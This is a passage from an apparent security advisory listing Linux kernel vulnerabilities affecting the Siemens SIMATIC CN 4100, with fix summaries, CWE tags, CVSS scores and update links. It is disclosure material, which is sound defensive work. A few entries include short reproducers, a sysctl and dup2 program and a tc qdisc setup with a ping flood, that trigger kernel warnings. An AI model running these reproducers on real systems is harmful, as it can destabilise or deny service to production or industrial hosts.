because a match should always be found which breaks out of the for loop before it iterates beyond the end of the hw_xlate array. By adding a new hw_xlate_len field to the bno055_sysfs_attr, we can be sure we are iterating over the correct length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39724\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: serial: 8250: fix panic due to PSLVERR When the PSLVERR_RESP_EN parameter is set to 1, the device generates an error response if an attempt is made to read an empty RBR (Receive Buffer Register) while the FIFO is enabled. In serial8250_do_startup(), calling serial_port_out(port, UART_LCR, UART_LCR_WLEN8) triggers dw8250_check_lcr(), which invokes dw8250_force_idle() and serial8250_clear_and_reinit_fifos(). The latter function enables the FIFO via serial_out(p, UART_FCR, p->fcr). Execution proceeds to the serial_port_in(port, UART_RX). This satisfies the PSLVERR trigger condition. When another CPU (e.g., using printk()) is accessing the UART (UART is busy), the current CPU fails the check (value & ~UART_LCR_SPAR) == (lcr & ~UART_LCR_SPAR) in dw8250_check_lcr(), causing it to enter dw8250_force_idle(). Put serial_port_out(port, UART_LCR, UART_LCR_WLEN8) under the port->lock to fix this issue. Panic backtrace: [ 0.442336] Oops - unknown exception [#1] [ 0.442343] epc : dw8250_serial_in32+0x1e/0x4a [ 0.442351] ra : serial8250_do_startup+0x2c8/0x88e ... [ 0.442416] console_on_rootfs+0x26/0x70\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39736\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/kmemleak: avoid deadlock by moving pr_warn() outside kmemleak_lock When netpoll is enabled, calling pr_warn_once() while holding kmemleak_lock in mem_pool_alloc() can cause a deadlock due to lock inversion with the netconsole subsystem. This occurs because pr_warn_once() may trigger netpoll, which eventually leads to __alloc_skb() and back into kmemleak code, attempting to reacquire kmemleak_lock. This is the path for the deadlock. mem_pool_alloc() -> raw_spin_lock_irqsave(&kmemleak_lock, flags); -> pr_warn_once() -> netconsole subsystem -> netpoll -> __alloc_skb -> __create_object -> raw_spin_lock_irqsave(&kmemleak_lock, flags); Fix this by setting a flag and issuing the pr_warn_once() after kmemleak_lock is released.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-833 Deadlock\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39737\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/kmemleak: avoid soft lockup in __kmemleak_do_cleanup() A soft lockup warning was observed on a relative small system x86-64 system with 16 GB of memory when running a debug kernel with kmemleak enabled. watchdog: BUG: soft lockup - CPU#8 stuck for 33s! [kworker/8:1:134] The test system was running a workload with hot unplug happening in parallel. Then kemleak decided to disable itself due to its inability to allocate more kmemleak objects. The debug kernel has its CONFIG_DEBUG_KMEMLEAK_MEM_POOL_SIZE set to 40,000. The soft lockup happened in kmemleak_do_cleanup() when the existing kmemleak objects were being removed and deleted one-by-one in a loop via a workqueue. In this particular case, there are at least 40,000 objects that need to be processed and given the slowness of a debug kernel and the fact that a raw_spinlock has to be acquired and released in __delete_object(), it could take a while to properly handle all these objects. As kmemleak has been disabled in this case, the object removal and deletion process can be further optimized as locking isn't really needed. However, it is probably not worth the effort to optimize for such an edge case that should rarely happen. So the simple solution is to call cond_resched() at periodic interval in the iteration loop to avoid soft lockup.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39738\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: do not allow relocation of partially dropped subvolumes [BUG] There is an internal report that balance triggered transaction abort, with the following call trace: item 85 key (594509824 169 0) itemoff 12599 itemsize 33 extent refs 1 gen 197740 flags 2 ref#0: tree block backref root 7 item 86 key (594558976 169 0) itemoff 12566 itemsize 33 extent refs 1 gen 197522 flags 2 ref#0: tree block backref root 7 ... BTRFS error (device loop0): extent item not found for insert, bytenr 594526208 num_bytes 16384 parent 449921024 root_objectid 934 owner 1 offset 0 BTRFS error (device loop0): failed to run delayed ref for logical 594526208 num_bytes 16384 type 182 action 1 ref_mod 1: -117 ------------[ cut here ]------------ BTRFS: Transaction aborted (error -117) WARNING: CPU: 1 PID: 6963 at ../fs/btrfs/extent-tree.c:2168 btrfs_run_delayed_refs+0xfa/0x110 [btrfs] And btrfs check doesn't report anything wrong related to the extent tree. [CAUSE] The cause is a little complex, firstly the extent tree indeed doesn't have the backref for 594526208. The extent tree only have the following two backrefs around that bytenr on-disk: item 65 key (594509824 METADATA_ITEM 0) itemoff 13880 itemsize 33 refs 1 gen 197740 flags TREE_BLOCK tree block skinny level 0 (176 0x7) tree block backref root CSUM_TREE item 66 key (594558976 METADATA_ITEM 0) itemoff 13847 itemsize 33 refs 1 gen 197522 flags TREE_BLOCK tree block skinny level 0 (176 0x7) tree block backref root CSUM_TREE But the such missing backref item is not an corruption on disk, as the offending delayed ref belongs to subvolume 934, and that subvolume is being dropped: item 0 key (934 ROOT_ITEM 198229) itemoff 15844 itemsize 439 generation 198229 root_dirid 256 bytenr 10741039104 byte_limit 0 bytes_used 345571328 last_snapshot 198229 flags 0x1000000000001(RDONLY) refs 0 drop_progress key (206324 EXTENT_DATA 2711650304) drop_level 2 level 2 generation_v2 198229 And that offending tree block 594526208 is inside the dropped range of that subvolume. That explains why there is no backref item for that bytenr and why btrfs check is not reporting anything wrong. But this also shows another problem, as btrfs will do all the orphan subvolume cleanup at a read-write mount. So half-dropped subvolume should not exist after an RW mount, and balance itself is also exclusive to subvolume cleanup, meaning we shouldn't hit a subvolume half-dropped during relocation. The root cause is, there is no orphan item for this subvolume. In fact there are 5 subvolumes from around 2021 that have the same problem. It looks like the original report has some older kernels running, and caused those zombie subvolumes. Thankfully upstream commit 8d488a8c7ba2 (\"btrfs: fix subvolume/snapshot deletion not triggered on mount\") has long fixed the bug. [ENHANCEMENT] For repairing such old fs, btrfs-progs will be enhanced. Considering how delayed the problem will show up (at run delayed ref time) and at that time we have to abort transaction already, it is too late. Instead here we reject any half-dropped subvolume for reloc tree at the earliest time, preventing confusion and extra time wasted on debugging similar bugs.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39742\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: RDMA: hfi1: fix possible divide-by-zero in find_hw_thread_mask() The function divides number of online CPUs by num_core_siblings, and later checks the divider by zero. This implies a possibility to get and divide-by-zero runtime error. Fix it by moving the check prior to division. This also helps to save one indentation level.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-369 Divide By Zero\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39743\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: truncate good inode pages when hard link is 0 The fileset value of the inode copy from the disk by the reproducer is AGGR_RESERVED_I. When executing evict, its hard link number is 0, so its inode pages are not truncated. This causes the bugon to be triggered when executing clear_inode() because nrpages is greater than 0.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39749\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: rcu: Protect ->defer_qs_iw_pending from data race On kernels built with CONFIG_IRQ_WORK=y, when rcu_read_unlock() is invoked within an interrupts-disabled region of code [1], it will invoke rcu_read_unlock_special(), which uses an irq-work handler to force the system to notice when the RCU read-side critical section actually ends. That end won't happen until interrupts are enabled at the soonest. In some kernels, such as those booted with rcutree.use_softirq=y, the irq-work handler is used unconditionally. The per-CPU rcu_data structure's ->defer_qs_iw_pending field is updated by the irq-work handler and is both read and updated by rcu_read_unlock_special(). This resulted in the following KCSAN splat: ------------------------------------------------------------------------ BUG: KCSAN: data-race in rcu_preempt_deferred_qs_handler / rcu_read_unlock_special read to 0xffff96b95f42d8d8 of 1 bytes by task 90 on cpu 8: rcu_read_unlock_special+0x175/0x260 __rcu_read_unlock+0x92/0xa0 rt_spin_unlock+0x9b/0xc0 __local_bh_enable+0x10d/0x170 __local_bh_enable_ip+0xfb/0x150 rcu_do_batch+0x595/0xc40 rcu_cpu_kthread+0x4e9/0x830 smpboot_thread_fn+0x24d/0x3b0 kthread+0x3bd/0x410 ret_from_fork+0x35/0x40 ret_from_fork_asm+0x1a/0x30 write to 0xffff96b95f42d8d8 of 1 bytes by task 88 on cpu 8: rcu_preempt_deferred_qs_handler+0x1e/0x30 irq_work_single+0xaf/0x160 run_irq_workd+0x91/0xc0 smpboot_thread_fn+0x24d/0x3b0 kthread+0x3bd/0x410 ret_from_fork+0x35/0x40 ret_from_fork_asm+0x1a/0x30 no locks held by irq_work/8/88. irq event stamp: 200272 hardirqs last enabled at (200272): [] finish_task_switch+0x131/0x320 hardirqs last disabled at (200271): [] __schedule+0x129/0xd70 softirqs last enabled at (0): [] copy_process+0x4df/0x1cc0 softirqs last disabled at (0): [<0000000000000000>] 0x0 ------------------------------------------------------------------------ The problem is that irq-work handlers run with interrupts enabled, which means that rcu_preempt_deferred_qs_handler() could be interrupted, and that interrupt handler might contain an RCU read-side critical section, which might invoke rcu_read_unlock_special(). In the strict KCSAN mode of operation used by RCU, this constitutes a data race on the ->defer_qs_iw_pending field. This commit therefore disables interrupts across the portion of the rcu_preempt_deferred_qs_handler() that updates the ->defer_qs_iw_pending field. This suffices because this handler is not a fast path.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39752\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ARM: rockchip: fix kernel hang during smp initialization In order to bring up secondary CPUs main CPU write trampoline code to SRAM. The trampoline code is written while secondary CPUs are powered on (at least that true for RK3188 CPU). Sometimes that leads to kernel hang. Probably because secondary CPU execute trampoline code while kernel doesn't expect. The patch moves SRAM initialization step to the point where all secondary CPUs are powered down. That fixes rarely hangs on RK3188: [ 0.091568] CPU0: thread -1, cpu 0, socket 0, mpidr 80000000 [ 0.091996] rockchip_smp_prepare_cpus: ncores 4\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-364 Signal Handler Race Condition\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39756\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: Prevent file descriptor table allocations exceeding INT_MAX When sysctl_nr_open is set to a very high value (for example, 1073741816 as set by systemd), processes attempting to use file descriptors near the limit can trigger massive memory allocation attempts that exceed INT_MAX, resulting in a WARNING in mm/slub.c: WARNING: CPU: 0 PID: 44 at mm/slub.c:5027 __kvmalloc_node_noprof+0x21a/0x288 This happens because kvmalloc_array() and kvmalloc() check if the requested size exceeds INT_MAX and emit a warning when the allocation is not flagged with __GFP_NOWARN. Specifically, when nr_open is set to 1073741816 (0x3ffffff8) and a process calls dup2(oldfd, 1073741880), the kernel attempts to allocate: - File descriptor array: 1073741880 * 8 bytes = 8,589,935,040 bytes - Multiple bitmaps: ~400MB - Total allocation size: > 8GB (exceeding INT_MAX = 2,147,483,647) Reproducer: 1. Set /proc/sys/fs/nr_open to 1073741816: # echo 1073741816 > /proc/sys/fs/nr_open 2. Run a program that uses a high file descriptor: #include #include int main() { struct rlimit rlim = {1073741824, 1073741824}; setrlimit(RLIMIT_NOFILE, &rlim); dup2(2, 1073741880); // Triggers the warning return 0; } 3. Observe WARNING in dmesg at mm/slub.c:5027 systemd commit a8b627a introduced automatic bumping of fs.nr_open to the maximum possible value. The rationale was that systems with memory control groups (memcg) no longer need separate file descriptor limits since memory is properly accounted. However, this change overlooked that: 1. The kernel's allocation functions still enforce INT_MAX as a maximum size regardless of memcg accounting 2. Programs and tests that legitimately test file descriptor limits can inadvertently trigger massive allocations 3. The resulting allocations (>8GB) are impractical and will always fail systemd's algorithm starts with INT_MAX and keeps halving the value until the kernel accepts it. On most systems, this results in nr_open being set to 1073741816 (0x3ffffff8), which is just under 1GB of file descriptors. While processes rarely use file descriptors near this limit in normal operation, certain selftests (like tools/testing/selftests/core/unshare_test.c) and programs that test file descriptor limits can trigger this issue. Fix this by adding a check in alloc_fdtable() to ensure the requested allocation size does not exceed INT_MAX. This causes the operation to fail with -EMFILE instead of triggering a kernel warning and avoids the impractical >8GB memory allocation request.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-401 Missing Release of Memory after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39757\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Validate UAC3 cluster segment descriptors UAC3 class segment descriptors need to be verified whether their sizes match with the declared lengths and whether they fit with the allocated buffer sizes, too. Otherwise malicious firmware may lead to the unexpected OOB accesses.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39759\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: qgroup: fix race between quota disable and quota rescan ioctl There's a race between a task disabling quotas and another running the rescan ioctl that can result in a use-after-free of qgroup records from the fs_info->qgroup_tree rbtree. This happens as follows: 1) Task A enters btrfs_ioctl_quota_rescan() -> btrfs_qgroup_rescan(); 2) Task B enters btrfs_quota_disable() and calls btrfs_qgroup_wait_for_completion(), which does nothing because at that point fs_info->qgroup_rescan_running is false (it wasn't set yet by task A); 3) Task B calls btrfs_free_qgroup_config() which starts freeing qgroups from fs_info->qgroup_tree without taking the lock fs_info->qgroup_lock; 4) Task A enters qgroup_rescan_zero_tracking() which starts iterating the fs_info->qgroup_tree tree while holding fs_info->qgroup_lock, but task B is freeing qgroup records from that tree without holding the lock, resulting in a use-after-free. Fix this by taking fs_info->qgroup_lock at btrfs_free_qgroup_config(). Also at btrfs_qgroup_rescan() don't start the rescan worker if quotas were already disabled.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39760\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: usb: core: config: Prevent OOB read in SS endpoint companion parsing usb_parse_ss_endpoint_companion() checks descriptor type before length, enabling a potentially odd read outside of the buffer size. Fix this up by checking the size first before looking at any of the fields in the descriptor.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39766\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/sched: Make cake_enqueue return NET_XMIT_CN when past buffer_limit The following setup can trigger a WARNING in htb_activate due to the condition: !cl->leaf.q->q.qlen tc qdisc del dev lo root tc qdisc add dev lo root handle 1: htb default 1 tc class add dev lo parent 1: classid 1:1 \\ htb rate 64bit tc qdisc add dev lo parent 1:1 handle f: \\ cake memlimit 1b ping -I lo -f -c1 -s64 -W0.001 127.0.0.1 This is because the low memlimit leads to a low buffer_limit, which causes packet dropping. However, cake_enqueue still returns NET_XMIT_SUCCESS, causing htb_enqueue to call htb_activate with an empty child qdisc. We should return NET_XMIT_CN when packets are dropped from the same tin and flow. I do not believe return value of NET_XMIT_CN is necessary for packet drops in the case of ack filtering, as that is meant to optimize performance, not to signal congestion.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39770\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: gso: Forbid IPv6 TSO with extensions on devices with only IPV6_CSUM When performing Generic Segmentation Offload (GSO) on an IPv6 packet that contains extension headers, the kernel incorrectly requests checksum offload if the egress device only advertises NETIF_F_IPV6_CSUM feature, which has a strict contract: it supports checksum offload only for plain TCP or UDP over IPv6 and explicitly does not support packets with extension headers. The current GSO logic violates this contract by failing to disable the feature for packets with extension headers, such as those used in GREoIPv6 tunnels. This violation results in the device being asked to perform an operation it cannot support, leading to a `skb_warn_bad_offload` warning and a collapse of network throughput. While device TSO/USO is correctly bypassed in favor of software GSO for these packets, the GSO stack must be explicitly told not to request checksum offload. Mask NETIF_F_IPV6_CSUM, NETIF_F_TSO6 and NETIF_F_GSO_UDP_L4 in gso_features_check if the IPv6 header contains extension headers to compute checksum in software. The exception is a BIG TCP extension, which, as stated in commit 68e068cabd2c6c53 (\"net: reenable NETIF_F_IPV6_CSUM offload for BIG TCP packets\"): \"The feature is only enabled on devices that support BIG TCP TSO. The header is only present for PF_PACKET taps like tcpdump, and not transmitted by physical devices.\" kernel log output (truncated): WARNING: CPU: 1 PID: 5273 at net/core/dev.c:3535 skb_warn_bad_offload+0x81/0x140 ... Call Trace: skb_checksum_help+0x12a/0x1f0 validate_xmit_skb+0x1a3/0x2d0 validate_xmit_skb_list+0x4f/0x80 sch_direct_xmit+0x1a2/0x380 __dev_xmit_skb+0x242/0x670 __dev_queue_xmit+0x3fc/0x7f0 ip6_finish_output2+0x25e/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_tnl_xmit+0x608/0xc00 [ip6_tunnel] ip6gre_tunnel_xmit+0x1c0/0x390 [ip6_gre] dev_hard_start_xmit+0x63/0x1c0 __dev_queue_xmit+0x6d0/0x7f0 ip6_finish_output2+0x214/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 inet6_csk_xmit+0xeb/0x150 __tcp_transmit_skb+0x555/0xa80 tcp_write_xmit+0x32a/0xe90 tcp_sendmsg_locked+0x437/0x1110 tcp_sendmsg+0x2f/0x50 ... skb linear: 00000000: e4 3d 1a 7d ec 30 e4 3d 1a 7e 5d 90 86 dd 60 0e skb linear: 00000010: 00 0a 1b 34 3c 40 20 11 00 00 00 00 00 00 00 00 skb linear: 00000020: 00 00 00 00 00 12 20 11 00 00 00 00 00 00 00 00 skb linear: 00000030: 00 00 00 00 00 11 2f 00 04 01 04 01 01 00 00 00 skb linear: 00000040: 86 dd 60 0e 00 0a 1b 00 06 40 20 23 00 00 00 00 skb linear: 00000050: 00 00 00 00 00 00 00 00 00 12 20 23 00 00 00 00 skb linear: 00000060: 00 00 00 00 00 00 00 00 00 11 bf 96 14 51 13 f9 skb linear: 00000070: ae 27 a0 a8 2b e3 80 18 00 40 5b 6f 00 00 01 01 skb linear: 00000080: 08 0a 42 d4 50 d5 4b 70 f8 1a\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-573 Improper Following of 